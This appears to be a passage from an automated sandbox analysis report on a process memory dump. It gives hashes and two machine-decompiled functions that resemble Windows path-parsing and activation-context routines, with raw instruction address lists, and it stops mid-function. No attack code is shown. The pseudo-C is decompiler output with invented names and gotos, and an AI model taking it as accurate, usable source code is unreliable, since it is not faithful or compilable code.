Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50aa32b11d8e33fb9231f45d51e0de3722124ee7f2906e121deecf059c0de882
Instruction ID: de8417c41a4a0fa9693528f71f35001c5f80d17d2ecbd58750cafeaf168f86a6
Opcode Fuzzy Hash: 50aa32b11d8e33fb9231f45d51e0de3722124ee7f2906e121deecf059c0de882
Instruction Fuzzy Hash: FA425C75A00229CFDB24CF69C880BA9B7B1FF95304F5481EAD94DEB242E734A985CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04B34120, Relevance: .4, Instructions: 444
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E04B34120(signed char __ecx, signed short* __edx, signed short* _a4, signed int _a8, signed short* _a12, signed short* _a16, signed short _a20) {
				signed int _v8;
				void* _v20;
				signed int _v24;
				char _v532;
				char _v540;
				signed short _v544;
				signed int _v548;
				signed short* _v552;
				signed short _v556;
				signed short* _v560;
				signed short* _v564;
				signed short* _v568;
				void* _v570;
				signed short* _v572;
				signed short _v576;
				signed int _v580;
				char _v581;
				void* _v584;
				unsigned int _v588;
				signed short* _v592;
				void* _v597;
				void* _v600;
				void* _v604;
				void* _v609;
				void* _v616;
				void* __ebx;
				void* __edi;
				void* __esi;
				unsigned int _t161;
				signed int _t162;
				unsigned int _t163;
				void* _t169;
				signed short _t173;
				signed short _t177;
				signed short _t181;
				unsigned int _t182;
				signed int _t185;
				signed int _t213;
				signed int _t225;
				short _t233;
				signed char _t234;
				signed int _t242;
				signed int _t243;
				signed int _t244;
				signed int _t245;
				signed int _t250;
				void* _t251;
				signed short* _t254;
				void* _t255;
				signed int _t256;
				void* _t257;
				signed short* _t260;
				signed short _t265;
				signed short* _t269;
				signed short _t271;
				signed short** _t272;
				signed short* _t275;
				signed short _t282;
				signed short _t283;
				signed short _t290;
				signed short _t299;
				signed short _t307;
				signed int _t308;
				signed short _t311;
				signed short* _t315;
				signed short _t316;
				void* _t317;
				void* _t319;
				signed short* _t321;
				void* _t322;
				void* _t323;
				unsigned int _t324;
				signed int _t325;
				void* _t326;
				signed int _t327;
				signed int _t329;

				_t329 = (_t327 & 0xfffffff8) - 0x24c;
				_v8 =  *0x4c0d360 ^ _t329;
				_t157 = _a8;
				_t321 = _a4;
				_t315 = __edx;
				_v548 = __ecx;
				_t305 = _a20;
				_v560 = _a12;
				_t260 = _a16;
				_v564 = __edx;
				_v580 = _a8;
				_v572 = _t260;
				_v544 = _a20;
				if( *__edx <= 8) {
					L3:
					if(_t260 != 0) {
						 *_t260 = 0;
					}
					_t254 =  &_v532;
					_v588 = 0x208;
					if((_v548 & 0x00000001) != 0) {
						_v556 =  *_t315;
						_v552 = _t315[2];
						_t161 = E04B4F232( &_v556);
						_t316 = _v556;
						_v540 = _t161;
						goto L17;
					} else {
						_t306 = 0x208;
						_t298 = _t315;
						_t316 = E04B36E30(_t315, 0x208, _t254, _t260,  &_v581,  &_v540);
						if(_t316 == 0) {
							L68:
							_t322 = 0xc0000033;
							goto L39;
						} else {
							while(_v581 == 0) {
								_t233 = _v588;
								if(_t316 > _t233) {
									_t234 = _v548;
									if((_t234 & 0x00000004) != 0 || (_t234 & 0x00000008) == 0 &&  *((char*)( *[fs:0x30] + 3)) < 0) {
										_t254 = L04B34620(_t298,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t316);
										if(_t254 == 0) {
											_t169 = 0xc0000017;
										} else {
											_t298 = _v564;
											_v588 = _t316;
											_t306 = _t316;
											_t316 = E04B36E30(_v564, _t316, _t254, _v572,  &_v581,  &_v540);
											if(_t316 != 0) {
												continue;
											} else {
												goto L68;
											}
										}
									} else {
										goto L90;
									}
								} else {
									_v556 = _t316;
									 *((short*)(_t329 + 0x32)) = _t233;
									_v552 = _t254;
									if(_t316 < 2) {
										L11:
										if(_t316 < 4 ||  *_t254 == 0 || _t254[1] != 0x3a) {
											_t161 = 5;
										} else {
											if(_t316 < 6) {
												L87:
												_t161 = 3;
											} else {
												_t242 = _t254[2] & 0x0000ffff;
												if(_t242 != 0x5c) {
													if(_t242 == 0x2f) {
														goto L16;
													} else {
														goto L87;
													}
													goto L101;
												} else {
													L16:
													_t161 = 2;
												}
											}
										}
									} else {
										_t243 =  *_t254 & 0x0000ffff;
										if(_t243 == 0x5c || _t243 == 0x2f) {
											if(_t316 < 4) {
												L81:
												_t161 = 4;
												goto L17;
											} else {
												_t244 = _t254[1] & 0x0000ffff;
												if(_t244 != 0x5c) {
													if(_t244 == 0x2f) {
														goto L60;
													} else {
														goto L81;
													}
												} else {
													L60:
													if(_t316 < 6) {
														L83:
														_t161 = 1;
														goto L17;
													} else {
														_t245 = _t254[2] & 0x0000ffff;
														if(_t245 != 0x2e) {
															if(_t245 == 0x3f) {
																goto L62;
															} else {
																goto L83;
															}
														} else {
															L62:
															if(_t316 < 8) {
																L85:
																_t161 = ((0 | _t316 != 0x00000006) - 0x00000001 & 0x00000006) + 1;
																goto L17;
															} else {
																_t250 = _t254[3] & 0x0000ffff;
																if(_t250 != 0x5c) {
																	if(_t250 == 0x2f) {
																		goto L64;
																	} else {
																		goto L85;
																	}
																} else {
																	L64:
																	_t161 = 6;
																	goto L17;
																}
															}
														}
													}
												}
											}
											goto L101;
										} else {
											goto L11;
										}
									}
									L17:
									if(_t161 != 2) {
										_t162 = _t161 - 1;
										if(_t162 > 5) {
											goto L18;
										} else {
											switch( *((intOrPtr*)(_t162 * 4 +  &M04B345F8))) {
												case 0:
													_v568 = 0x4af1078;
													__eax = 2;
													goto L20;
												case 1:
													goto L18;
												case 2:
													_t163 = 4;
													goto L19;
											}
										}
										goto L41;
									} else {
										L18:
										_t163 = 0;
										L19:
										_v568 = 0x4af11c4;
									}
									L20:
									_v588 = _t163;
									_v564 = _t163 + _t163;
									_t306 =  *_v568 & 0x0000ffff;
									_t265 = _t306 - _v564 + 2 + (_t316 & 0x0000ffff);
									_v576 = _t265;
									if(_t265 > 0xfffe) {
										L90:
										_t322 = 0xc0000106;
									} else {
										if(_t321 != 0) {
											if(_t265 > (_t321[1] & 0x0000ffff)) {
												if(_v580 != 0) {
													goto L23;
												} else {
													_t322 = 0xc0000106;
													goto L39;
												}
											} else {
												_t177 = _t306;
												goto L25;
											}
											goto L101;
										} else {
											if(_v580 == _t321) {
												_t322 = 0xc000000d;
											} else {
												L23:
												_t173 = L04B34620(_t265,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t265);
												_t269 = _v592;
												_t269[2] = _t173;
												if(_t173 == 0) {
													_t322 = 0xc0000017;
												} else {
													_t316 = _v556;
													 *_t269 = 0;
													_t321 = _t269;
													_t269[1] = _v576;
													_t177 =  *_v568 & 0x0000ffff;
													L25:
													_v580 = _t177;
													if(_t177 == 0) {
														L29:
														_t307 =  *_t321 & 0x0000ffff;
													} else {
														_t290 =  *_t321 & 0x0000ffff;
														_v576 = _t290;
														_t310 = _t177 & 0x0000ffff;
														if((_t290 & 0x0000ffff) + (_t177 & 0x0000ffff) > (_t321[1] & 0x0000ffff)) {
															_t307 =  *_t321 & 0xffff;
														} else {
															_v576 = _t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2;
															E04B5F720(_t321[2] + ((_v576 & 0x0000ffff) >> 1) * 2, _v568[2], _t310);
															_t329 = _t329 + 0xc;
															_t311 = _v580;
															_t225 =  *_t321 + _t311 & 0x0000ffff;
															 *_t321 = _t225;
															if(_t225 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v576 + ((_t311 & 0x0000ffff) >> 1) * 2)) = 0;
															}
															goto L29;
														}
													}
													_t271 = _v556 - _v588 + _v588;
													_v580 = _t307;
													_v576 = _t271;
													if(_t271 != 0) {
														_t308 = _t271 & 0x0000ffff;
														_v588 = _t308;
														if(_t308 + (_t307 & 0x0000ffff) <= (_t321[1] & 0x0000ffff)) {
															_v580 = _t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2;
															E04B5F720(_t321[2] + ((_v580 & 0x0000ffff) >> 1) * 2, _v552 + _v564, _t308);
															_t329 = _t329 + 0xc;
															_t213 =  *_t321 + _v576 & 0x0000ffff;
															 *_t321 = _t213;
															if(_t213 + 1 < (_t321[1] & 0x0000ffff)) {
																 *((short*)(_v580 + (_v588 >> 1) * 2)) = 0;
															}
														}
													}
													_t272 = _v560;
													if(_t272 != 0) {
														 *_t272 = _t321;
													}
													_t306 = 0;
													 *((short*)(_t321[2] + (( *_t321 & 0x0000ffff) >> 1) * 2)) = 0;
													_t275 = _v572;
													if(_t275 != 0) {
														_t306 =  *_t275;
														if(_t306 != 0) {
															 *_t275 = ( *_v568 & 0x0000ffff) - _v564 - _t254 + _t306 + _t321[2];
														}
													}
													_t181 = _v544;
													if(_t181 != 0) {
														 *_t181 = 0;
														 *((intOrPtr*)(_t181 + 4)) = 0;
														 *((intOrPtr*)(_t181 + 8)) = 0;
														 *((intOrPtr*)(_t181 + 0xc)) = 0;
														if(_v540 == 5) {
															_t182 = E04B152A5(1);
															_v588 = _t182;
															if(_t182 == 0) {
																E04B2EB70(1, 0x4c079a0);
																goto L38;
															} else {
																_v560 = _t182 + 0xc;
																_t185 = E04B2AA20( &_v556, _t182 + 0xc,  &_v556, 1);
																if(_t185 == 0) {
																	_t324 = _v588;
																	goto L97;
																} else {
																	_t306 = _v544;
																	_t282 = ( *_v560 & 0x0000ffff) - _v564 + ( *_v568 & 0x0000ffff) + _t321[2];
																	 *(_t306 + 4) = _t282;
																	_v576 = _t282;
																	_t325 = _t316 -  *_v560 & 0x0000ffff;
																	 *_t306 = _t325;
																	if( *_t282 == 0x5c) {
																		_t149 = _t325 - 2; // -2
																		_t283 = _t149;
																		 *_t306 = _t283;
																		 *(_t306 + 4) = _v576 + 2;
																		_t185 = _t283 & 0x0000ffff;
																	}
																	_t324 = _v588;
																	 *(_t306 + 2) = _t185;
																	if((_v548 & 0x00000002) == 0) {
																		L97:
																		asm("lock xadd [esi], eax");
																		if((_t185 | 0xffffffff) == 0) {
																			_push( *((intOrPtr*)(_t324 + 4)));
																			E04B595D0();
																			L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t324);
																		}
																	} else {
																		 *(_t306 + 0xc) = _t324;
																		 *((intOrPtr*)(_t306 + 8)) =  *((intOrPtr*)(_t324 + 4));
																	}
																	goto L38;
																}
															}
															goto L41;
														}
													}
													L38:
													_t322 = 0;
												}
											}
										}
									}
									L39:
									if(_t254 !=  &_v532) {
										L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t254);
									}
									_t169 = _t322;
								}
								goto L41;
							}
							goto L68;
						}
					}
					L41:
					_pop(_t317);
					_pop(_t323);
					_pop(_t255);
					return E04B5B640(_t169, _t255, _v8 ^ _t329, _t306, _t317, _t323);
				} else {
					_t299 = __edx[2];
					if( *_t299 == 0x5c) {
						_t256 =  *(_t299 + 2) & 0x0000ffff;
						if(_t256 != 0x5c) {
							if(_t256 != 0x3f) {
								goto L2;
							} else {
								goto L50;
							}
						} else {
							L50:
							if( *((short*)(_t299 + 4)) != 0x3f ||  *((short*)(_t299 + 6)) != 0x5c) {
								goto L2;
							} else {
								_t251 = E04B53D43(_t315, _t321, _t157, _v560, _v572, _t305);
								_pop(_t319);
								_pop(_t326);
								_pop(_t257);
								return E04B5B640(_t251, _t257, _v24 ^ _t329, _t321, _t319, _t326);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x04b34128
0x04b34135
0x04b3413c
0x04b34141
0x04b34145
0x04b34147
0x04b3414e
0x04b34151
0x04b34159
0x04b3415c
0x04b34160
0x04b34164
0x04b34168
0x04b3416c
0x04b3417f
0x04b34181
0x04b3446a
0x04b3446a
0x04b3418c
0x04b34195
0x04b34199
0x04b34432
0x04b34439
0x04b3443d
0x04b34442
0x04b34447
0x00000000
0x04b3419f
0x04b341a3
0x04b341b1
0x04b341b9
0x04b341bd
0x04b345db
0x04b345db
0x00000000
0x04b341c3
0x04b341c3
0x04b341ce
0x04b341d4
0x04b7e138
0x04b7e13e
0x04b7e169
0x04b7e16d
0x04b7e19e
0x04b7e16f
0x04b7e16f
0x04b7e175
0x04b7e179
0x04b7e18f
0x04b7e193
0x00000000
0x04b7e199
0x00000000
0x04b7e199
0x04b7e193
0x00000000
0x00000000
0x00000000
0x04b341da
0x04b341da
0x04b341df
0x04b341e4
0x04b341ec
0x04b34203
0x04b34207
0x04b7e1fd
0x04b34222
0x04b34226
0x04b7e1f3
0x04b7e1f3
0x04b3422c
0x04b3422c
0x04b34233
0x04b7e1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x04b34239
0x04b34239
0x04b34239
0x04b34239
0x04b34233
0x04b34226
0x04b341ee
0x04b341ee
0x04b341f4
0x04b34575
0x04b7e1b1
0x04b7e1b1
0x00000000
0x04b3457b
0x04b3457b
0x04b34582
0x04b7e1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x04b34588
0x04b34588
0x04b3458c
0x04b7e1c4
0x04b7e1c4
0x00000000
0x04b34592
0x04b34592
0x04b34599
0x04b7e1be
0x00000000
0x00000000
0x00000000
0x00000000
0x04b3459f
0x04b3459f
0x04b345a3
0x04b7e1d7
0x04b7e1e4
0x00000000
0x04b345a9
0x04b345a9
0x04b345b0
0x04b7e1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x04b345b6
0x04b345b6
0x04b345b6
0x00000000
0x04b345b6
0x04b345b0
0x04b345a3
0x04b34599
0x04b3458c
0x04b34582
0x00000000
0x00000000
0x00000000
0x00000000
0x04b341f4
0x04b3423e
0x04b34241
0x04b345c0
0x04b345c4
0x00000000
0x04b345ca
0x04b345ca
0x00000000
0x04b7e207
0x04b7e20f
0x00000000
0x00000000
0x00000000
0x00000000
0x04b345d1
0x00000000
0x00000000
0x04b345ca
0x00000000
0x04b34247
0x04b34247
0x04b34247
0x04b34249
0x04b34249
0x04b34249
0x04b34251
0x04b34251
0x04b34257
0x04b3425f
0x04b3426e
0x04b34270
0x04b3427a
0x04b7e219
0x04b7e219
0x04b34280
0x04b34282
0x04b34456
0x04b345ea
0x00000000
0x04b345f0
0x04b7e223
0x00000000
0x04b7e223
0x04b3445c
0x04b3445c
0x00000000
0x04b3445c
0x00000000
0x04b34288
0x04b3428c
0x04b7e298
0x04b34292
0x04b34292
0x04b3429e
0x04b342a3
0x04b342a7
0x04b342ac
0x04b7e22d
0x04b342b2
0x04b342b2
0x04b342b9
0x04b342bc
0x04b342c2
0x04b342ca
0x04b342cd
0x04b342cd
0x04b342d4
0x04b3433f
0x04b3433f
0x04b342d6
0x04b342d6
0x04b342d9
0x04b342dd
0x04b342eb
0x04b7e23a
0x04b342f1
0x04b34305
0x04b3430d
0x04b34315
0x04b34318
0x04b3431f
0x04b34322
0x04b3432e
0x04b3433b
0x04b3433b
0x00000000
0x04b3432e
0x04b342eb
0x04b3434c
0x04b3434e
0x04b34352
0x04b34359
0x04b3435e
0x04b34361
0x04b3436e
0x04b3438a
0x04b3438e
0x04b34396
0x04b3439e
0x04b343a1
0x04b343ad
0x04b343bb
0x04b343bb
0x04b343ad
0x04b3436e
0x04b343bf
0x04b343c5
0x04b34463
0x04b34463
0x04b343ce
0x04b343d5
0x04b343d9
0x04b343df
0x04b34475
0x04b34479
0x04b34491
0x04b34491
0x04b34479
0x04b343e5
0x04b343eb
0x04b343f4
0x04b343f6
0x04b343f9
0x04b343fc
0x04b343ff
0x04b344e8
0x04b344ed
0x04b344f3
0x04b7e247
0x00000000
0x04b344f9
0x04b34504
0x04b34508
0x04b3450f
0x04b7e269
0x00000000
0x04b34515
0x04b34519
0x04b34531
0x04b34534
0x04b34537
0x04b3453e
0x04b34541
0x04b3454a
0x04b7e255
0x04b7e255
0x04b7e25b
0x04b7e25e
0x04b7e261
0x04b7e261
0x04b34555
0x04b34559
0x04b3455d
0x04b7e26d
0x04b7e270
0x04b7e274
0x04b7e27a
0x04b7e27d
0x04b7e28e
0x04b7e28e
0x04b34563
0x04b34563
0x04b34569
0x04b34569
0x00000000
0x04b3455d
0x04b3450f
0x00000000
0x04b344f3
0x04b343ff
0x04b34405
0x04b34405
0x04b34405
0x04b342ac
0x04b3428c
0x04b34282
0x04b34407
0x04b3440d
0x04b7e2af
0x04b7e2af
0x04b34413
0x04b34413
0x00000000
0x04b341d4
0x00000000
0x04b341c3
0x04b341bd
0x04b34415
0x04b34415
0x04b34416
0x04b34417
0x04b34429
0x04b3416e
0x04b3416e
0x04b34175
0x04b34498
0x04b3449f
0x04b7e12d
0x00000000
0x04b7e133
0x00000000
0x04b7e133
0x04b344a5
0x04b344a5
0x04b344aa
0x00000000
0x04b344bb
0x04b344ca
0x04b344d6
0x04b344d7
0x04b344d8
0x04b344e3
0x04b344e3
0x04b344aa
0x04b3417b
0x04b3417b
0x04b3417b
0x00000000
0x04b3417b
0x04b34175
0x00000000

Memory Dump Source

Source File: 00000008.00000002.938444941.0000000004AF0000.00000040.00000001.sdmp, Offset: 04AF0000, based on PE: true

Associated: 00000008.00000002.939284081.0000000004C0B000.00000040.00000001.sdmp Download File
Associated: 00000008.00000002.939331902.0000000004C0F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01d0a4657b690c3229b5fdf41ad4479ccd5f2f5b2c683803ab28a0ca559f3b62
Instruction ID: 676b39db295775b3b792547bb744fb677cce04307f71f22f52841083ac07b3fc
Opcode Fuzzy Hash: 01d0a4657b690c3229b5fdf41ad4479ccd5f2f5b2c683803ab28a0ca559f3b62
Instruction Fuzzy Hash: 00F190706083118FCB24CF5AC480A3AB7E1FF88759F1549AEF896CB250E734E995DB52

Uniqueness

Uniqueness Score: -1.00%

Function 04B420A0, Relevance: .4, Instructions: 420
COMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E04B420A0(void* __ebx, unsigned int __ecx, signed int __edx, void* __eflags, intOrPtr* _a4, signed int _a8, intOrPtr* _a12, void* _a16, intOrPtr* _a20) {
				signed int _v16;
				signed int _v20;
				signed char _v24;
				intOrPtr _v28;
				signed int _v32;
				void* _v36;
				char _v48;
				signed int _v52;
				signed int _v56;
				unsigned int _v60;
				char _v64;
				unsigned int _v68;
				signed int _v72;
				char _v73;
				signed int _v74;
				char _v75;
				signed int _v76;
				void* _v81;
				void* _v82;
				void* _v89;
				void* _v92;
				void* _v97;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char _t128;
				void* _t129;
				signed int _t130;
				void* _t132;
				signed char _t133;
				intOrPtr _t135;
				signed int _t137;
				signed int _t140;
				signed int* _t144;
				signed int* _t145;
				intOrPtr _t146;
				signed int _t147;
				signed char* _t148;
				signed int _t149;
				signed int _t153;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t197;
				void* _t198;
				signed int _t201;
				intOrPtr* _t202;
				intOrPtr* _t205;
				signed int _t210;
				signed int _t215;
				signed int _t218;
				signed char _t221;
				signed int _t226;
				char _t227;
				signed int _t228;
				void* _t229;
				unsigned int _t231;
				void* _t235;
				signed int _t240;
				signed int _t241;
				void* _t242;
				signed int _t246;
				signed int _t248;
				signed int _t252;
				signed int _t253;
				void* _t254;
				intOrPtr* _t256;
				intOrPtr _t257;
				unsigned int _t262;
				signed int _t265;
				void* _t267;
				signed int _t275;

				_t198 = __ebx;
				_t267 = (_t265 & 0xfffffff0) - 0x48;
				_v68 = __ecx;
				_v73 = 0;
				_t201 = __edx & 0x00002000;
				_t128 = __edx & 0xffffdfff;
				_v74 = __edx & 0xffffff00 | __eflags != 0x00000000;
				_v72 = _t128;
				if((_t128 & 0x00000008) != 0) {
					__eflags = _t128 - 8;
					if(_t128 != 8) {
						L69:
						_t129 = 0xc000000d;
						goto L23;
					} else {
						_t130 = 0;
						_v72 = 0;
						_v75 = 1;
						L2:
						_v74 = 1;
						_t226 =  *0x4c08714; // 0x0
						if(_t226 != 0) {
							__eflags = _t201;
							if(_t201 != 0) {
								L62:
								_v74 = 1;
								L63:
								_t130 = _t226 & 0xffffdfff;
								_v72 = _t130;
								goto L3;
							}
							_v74 = _t201;
							__eflags = _t226 & 0x00002000;
							if((_t226 & 0x00002000) == 0) {
								goto L63;
							}
							goto L62;
						}
						L3:
						_t227 = _v75;
						L4:
						_t240 = 0;
						_v56 = 0;
						_t252 = _t130 & 0x00000100;
						if(_t252 != 0 || _t227 != 0) {
							_t240 = _v68;
							_t132 = E04B42EB0(_t240);
							__eflags = _t132 - 2;
							if(_t132 != 2) {
								__eflags = _t132 - 1;
								if(_t132 == 1) {
									goto L25;
								}
								__eflags = _t132 - 6;
								if(_t132 == 6) {
									__eflags =  *((short*)(_t240 + 4)) - 0x3f;
									if( *((short*)(_t240 + 4)) != 0x3f) {
										goto L40;
									}
									_t197 = E04B42EB0(_t240 + 8);
									__eflags = _t197 - 2;
									if(_t197 == 2) {
										goto L25;
									}
								}
								L40:
								_t133 = 1;
								L26:
								_t228 = _v75;
								_v56 = _t240;
								__eflags = _t133;
								if(_t133 != 0) {
									__eflags = _t228;
									if(_t228 == 0) {
										L43:
										__eflags = _v72;
										if(_v72 == 0) {
											goto L8;
										}
										goto L69;
									}
									_t133 = E04B158EC(_t240);
									_t221 =  *0x4c05cac; // 0x16
									__eflags = _t221 & 0x00000040;
									if((_t221 & 0x00000040) != 0) {
										_t228 = 0;
										__eflags = _t252;
										if(_t252 != 0) {
											goto L43;
										}
										_t133 = _v72;
										goto L7;
									}
									goto L43;
								} else {
									_t133 = _v72;
									goto L6;
								}
							}
							L25:
							_t133 = _v73;
							goto L26;
						} else {
							L6:
							_t221 =  *0x4c05cac; // 0x16
							L7:
							if(_t133 != 0) {
								__eflags = _t133 & 0x00001000;
								if((_t133 & 0x00001000) != 0) {
									_t133 = _t133 | 0x00000a00;
									__eflags = _t221 & 0x00000004;
									if((_t221 & 0x00000004) != 0) {
										_t133 = _t133 | 0x00000400;
									}
								}
								__eflags = _t228;
								if(_t228 != 0) {
									_t133 = _t133 | 0x00000100;
								}
								_t229 = E04B54A2C(0x4c06e40, 0x4b54b30, _t133, _t240);
								__eflags = _t229;
								if(_t229 == 0) {
									_t202 = _a20;
									goto L100;
								} else {
									_t135 =  *((intOrPtr*)(_t229 + 0x38));
									L15:
									_t202 = _a20;
									 *_t202 = _t135;
									if(_t229 == 0) {
										L100:
										 *_a4 = 0;
										_t137 = _a8;
										__eflags = _t137;
										if(_t137 != 0) {
											 *_t137 = 0;
										}
										 *_t202 = 0;
										_t129 = 0xc0000017;
										goto L23;
									} else {
										_t242 = _a16;
										if(_t242 != 0) {
											_t254 = _t229;
											memcpy(_t242, _t254, 0xd << 2);
											_t267 = _t267 + 0xc;
											_t242 = _t254 + 0x1a;
										}
										_t205 = _a4;
										_t25 = _t229 + 0x48; // 0x48
										 *_t205 = _t25;
										_t140 = _a8;
										if(_t140 != 0) {
											__eflags =  *((char*)(_t267 + 0xa));
											if( *((char*)(_t267 + 0xa)) != 0) {
												 *_t140 =  *((intOrPtr*)(_t229 + 0x44));
											} else {
												 *_t140 = 0;
											}
										}
										_t256 = _a12;
										if(_t256 != 0) {
											 *_t256 =  *((intOrPtr*)(_t229 + 0x3c));
										}
										_t257 =  *_t205;
										_v48 = 0;
										 *((intOrPtr*)(_t267 + 0x2c)) = 0;
										_v56 = 0;
										_v52 = 0;
										_t144 =  *( *[fs:0x30] + 0x50);
										if(_t144 != 0) {
											__eflags =  *_t144;
											if( *_t144 == 0) {
												goto L20;
											}
											_t145 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
											goto L21;
										} else {
											L20:
											_t145 = 0x7ffe0384;
											L21:
											if( *_t145 != 0) {
												_t146 =  *[fs:0x30];
												__eflags =  *(_t146 + 0x240) & 0x00000004;
												if(( *(_t146 + 0x240) & 0x00000004) != 0) {
													_t147 = E04B37D50();
													__eflags = _t147;
													if(_t147 == 0) {
														_t148 = 0x7ffe0385;
													} else {
														_t148 =  &(( *( *[fs:0x30] + 0x50))[0x8a]);
													}
													__eflags =  *_t148 & 0x00000020;
													if(( *_t148 & 0x00000020) != 0) {
														_t149 = _v72;
														__eflags = _t149;
														if(__eflags == 0) {
															_t149 = 0x4af5c80;
														}
														_push(_t149);
														_push( &_v48);
														 *((char*)(_t267 + 0xb)) = E04B4F6E0(_t198, _t242, _t257, __eflags);
														_push(_t257);
														_push( &_v64);
														_t153 = E04B4F6E0(_t198, _t242, _t257, __eflags);
														__eflags =  *((char*)(_t267 + 0xb));
														if( *((char*)(_t267 + 0xb)) != 0) {
															__eflags = _t153;
															if(_t153 != 0) {
																__eflags = 0;
																E04B97016(0x14c1, 0, 0, 0,  &_v72,  &_v64);
																L04B32400(_t267 + 0x20);
															}
															L04B32400( &_v64);
														}
													}
												}
											}
											_t129 = 0;
											L23:
											return _t129;
										}
									}
								}
							}
							L8:
							_t275 = _t240;
							if(_t275 != 0) {
								_v73 = 0;
								_t253 = 0;
								__eflags = 0;
								L29:
								_push(0);
								_t241 = E04B42397(_t240);
								__eflags = _t241;
								if(_t241 == 0) {
									_t229 = 0;
									L14:
									_t135 = 0;
									goto L15;
								}
								__eflags =  *((char*)(_t267 + 0xb));
								 *(_t241 + 0x34) = 1;
								if( *((char*)(_t267 + 0xb)) != 0) {
									E04B32280(_t134, 0x4c08608);
									__eflags =  *0x4c06e48 - _t253; // 0x2f2d918
									if(__eflags != 0) {
										L48:
										_t253 = 0;
										__eflags = 0;
										L49:
										E04B2FFB0(_t198, _t241, 0x4c08608);
										__eflags = _t253;
										if(_t253 != 0) {
											L04B377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t253);
										}
										goto L31;
									}
									 *0x4c06e48 = _t241;
									 *(_t241 + 0x34) =  *(_t241 + 0x34) + 1;
									__eflags = _t253;
									if(_t253 != 0) {
										_t57 = _t253 + 0x34;
										 *_t57 =  *(_t253 + 0x34) + 0xffffffff;
										__eflags =  *_t57;
										if( *_t57 == 0) {
											goto L49;
										}
									}
									goto L48;
								}
								L31:
								_t229 = _t241;
								goto L14;
							}
							_v73 = 1;
							_v64 = _t240;
							asm("lock bts dword [esi], 0x0");
							if(_t275 < 0) {
								_t231 =  *0x4c08608; // 0x0
								while(1) {
									_v60 = _t231;
									__eflags = _t231 & 0x00000001;
									if((_t231 & 0x00000001) != 0) {
										goto L76;
									}
									_t73 = _t231 + 1; // 0x1
									_t210 = _t73;
									asm("lock cmpxchg [edi], ecx");
									__eflags = _t231 - _t231;
									if(_t231 != _t231) {
										L92:
										_t133 = E04B46B90(_t210,  &_v64);
										_t262 =  *0x4c08608; // 0x0
										L93:
										_t231 = _t262;
										continue;
									}
									_t240 = _v56;
									goto L10;
									L76:
									_t169 = E04B4E180(_t133);
									__eflags = _t169;
									if(_t169 != 0) {
										_push(0xc000004b);
										_push(0xffffffff);
										E04B597C0();
										_t231 = _v68;
									}
									_v72 = 0;
									_v24 =  *( *[fs:0x18] + 0x24);
									_v16 = 3;
									_v28 = 0;
									__eflags = _t231 & 0x00000002;
									if((_t231 & 0x00000002) == 0) {
										_v32 =  &_v36;
										_t174 = _t231 >> 4;
										__eflags = 1 - _t174;
										_v20 = _t174;
										asm("sbb ecx, ecx");
										_t210 = 3 |  &_v36;
										__eflags = _t174;
										if(_t174 == 0) {
											_v20 = 0xfffffffe;
										}
									} else {
										_v32 = 0;
										_v20 = 0xffffffff;
										_v36 = _t231 & 0xfffffff0;
										_t210 = _t231 & 0x00000008 |  &_v36 | 0x00000007;
										_v72 =  !(_t231 >> 2) & 0xffffff01;
									}
									asm("lock cmpxchg [edi], esi");
									_t262 = _t231;
									__eflags = _t262 - _t231;
									if(_t262 != _t231) {
										goto L92;
									} else {
										__eflags = _v72;
										if(_v72 != 0) {
											E04B5006A(0x4c08608, _t210);
										}
										__eflags =  *0x7ffe036a - 1;
										if(__eflags <= 0) {
											L89:
											_t133 =  &_v16;
											asm("lock btr dword [eax], 0x1");
											if(__eflags >= 0) {
												goto L93;
											} else {
												goto L90;
											}
											do {
												L90:
												_push(0);
												_push(0x4c08608);
												E04B5B180();
												_t133 = _v24;
												__eflags = _t133 & 0x00000004;
											} while ((_t133 & 0x00000004) == 0);
											goto L93;
										} else {
											_t218 =  *0x4c06904; // 0x400
											__eflags = _t218;
											if(__eflags == 0) {
												goto L89;
											} else {
												goto L87;
											}
											while(1) {
												L87:
												__eflags = _v16 & 0x00000002;
												if(__eflags == 0) {
													goto L89;
												}
												asm("pause");
												_t218 = _t218 - 1;
												__eflags = _t218;
												if(__eflags != 0) {
													continue;
												}
												goto L89;
											}
											goto L89;
										}
									}
								}
							}
							L10:
							_t229 =  *0x4c06e48; // 0x2f2d918
							_v72 = _t229;
							if(_t229 == 0 ||  *((char*)(_t229 + 0x40)) == 0 &&  *((intOrPtr*)(_t229 + 0x38)) !=  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0x10)) + 0x294))) {
								E04B2FFB0(_t198, _t240, 0x4c08608);
								_t253 = _v76;
								goto L29;
							} else {
								 *((intOrPtr*)(_t229 + 0x34)) =  *((intOrPtr*)(_t229 + 0x34)) + 1;
								asm("lock cmpxchg [esi], ecx");
								_t215 = 1;
								if(1 != 1) {
									while(1) {
										_t246 = _t215 & 0x00000006;
										_t180 = _t215;
										__eflags = _t246 - 2;
										_v56 = _t246;
										_t235 = (0 | _t246 == 0x00000002) * 4 - 1 + _t215;
										asm("lock cmpxchg [edi], esi");
										_t248 = _v56;
										__eflags = _t180 - _t215;
										if(_t180 == _t215) {
											break;
										}
										_t215 = _t180;
									}
									__eflags = _t248 - 2;
									if(_t248 == 2) {
										__eflags = 0;
										E04B500C2(0x4c08608, 0, _t235);
									}
									_t229 = _v72;
								}
